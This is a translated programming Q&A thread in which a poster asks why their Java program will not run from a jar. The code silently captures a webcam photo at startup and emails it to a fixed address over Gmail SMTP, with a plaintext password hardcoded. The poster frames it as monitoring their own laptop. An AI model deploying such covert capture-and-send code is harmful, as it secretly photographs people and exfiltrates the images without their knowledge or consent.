2016-06-10 89 views
1

我試圖讓從下面的代碼一個jar文件.jar文件:不能運行

public class Main { 

    public static void main(String[] args) { 

     boolean net = true; 
     int num = 0; 

     do { 
      if (netIsAvailable()) { 
       webCapture(); 
       mailSend(); 
       net = false; 
      } 

     } while (net); 

     System.exit(0); 

    } 

    public static void webCapture() { 
     // get default webcam and open it 
     Webcam webcam = Webcam.getDefault(); 

     webcam.setViewSize(new Dimension(640, 480)); 

     // creates test2.jpg 
     WebcamUtils.capture(webcam, "test2", "jpg"); 
    } 

    private static boolean netIsAvailable() { 
     try { 
      final URL url = new URL("http://www.google.com"); 
      final URLConnection conn = url.openConnection(); 
      conn.connect(); 
      return true; 
     } catch (MalformedURLException e) { 
      throw new RuntimeException(e); 
     } catch (IOException e) { 
      return false; 
     } 
    } 

    public static void mailSend() { 
     final String username = "[email protected]"; 
     final String password = "anaaremere"; 

     Properties props = new Properties(); 
     props.put("mail.smtp.auth", "true"); 
     props.put("mail.smtp.starttls.enable", "true"); 
     props.put("mail.smtp.host", "smtp.gmail.com"); 
     props.put("mail.smtp.port", "587"); 

     Session session = Session.getInstance(props, 
       new javax.mail.Authenticator() { 
        protected PasswordAuthentication getPasswordAuthentication() { 
         return new PasswordAuthentication(username, password); 
        } 
       }); 

     try { 

      Message message = new MimeMessage(session); 
      message.setFrom(new InternetAddress(username)); 
      message.setRecipients(Message.RecipientType.TO, 
        InternetAddress.parse("[email protected]")); 
      message.setSubject("Your computer has been accessed"); 
      message.setText("Congratulation!"); 

      MimeBodyPart messageBodyPart = new MimeBodyPart(); 

      Multipart multipart = new MimeMultipart(); 

      messageBodyPart = new MimeBodyPart(); 
      String file = "C:\\Fast\\JDBCDemoApp\\webCamSpy\\test2.jpg"; 
      String fileName = "attachmentName"; 
      DataSource source = new FileDataSource(file); 
      messageBodyPart.setDataHandler(new DataHandler(source)); 
      messageBodyPart.setFileName(fileName); 
      multipart.addBodyPart(messageBodyPart); 

      message.setContent(multipart); 

      Transport.send(message); 

      System.out.println("done, email sent ok"); 

     } catch (Exception e) { 
      System.out.println("Email sending problems"); 
      e.printStackTrace(); 


     } 
    } 

} 

做工精細,編譯和運行流暢,但是當我做: 文件|項目結構|工件單擊加號圖標並創建新的工件選擇 - > jar - >從具有依賴關係的模塊。

構建|構建工件 當我嘗試運行新創建的jar文件時,出現錯誤:出現jni錯誤,請檢查您的安裝並重試。任何想法如何解決這個問題?

+0

它可能必須對您正在使用的ide做些事情。爲什麼不通過命令行/終端運行它? – user2277872

+0

您正在使用哪種IDE? – sixtytrees

+0

並非所有jar都可以運行。可運行的Java必須具有指定主類的MAINIFEST.MF。告訴我們你使用的是什麼IDE可能會給我們一些線索。 –

回答

1

你在做什麼來運行jar?

從命令行:java -jar name_of_your_created.jar

+0

我製作了該應用程序,看看誰在我的情況下使用我的筆記本電腦,所以我做了一個快捷方式的罐子,並把它放在Windows啓動文件夾在Windows啓動時運行 –

+0

但我試過它與不同的罐子,它的作品像一個魅力 –

+0

窗體命令行我得到的錯誤:無法訪問jar文件 –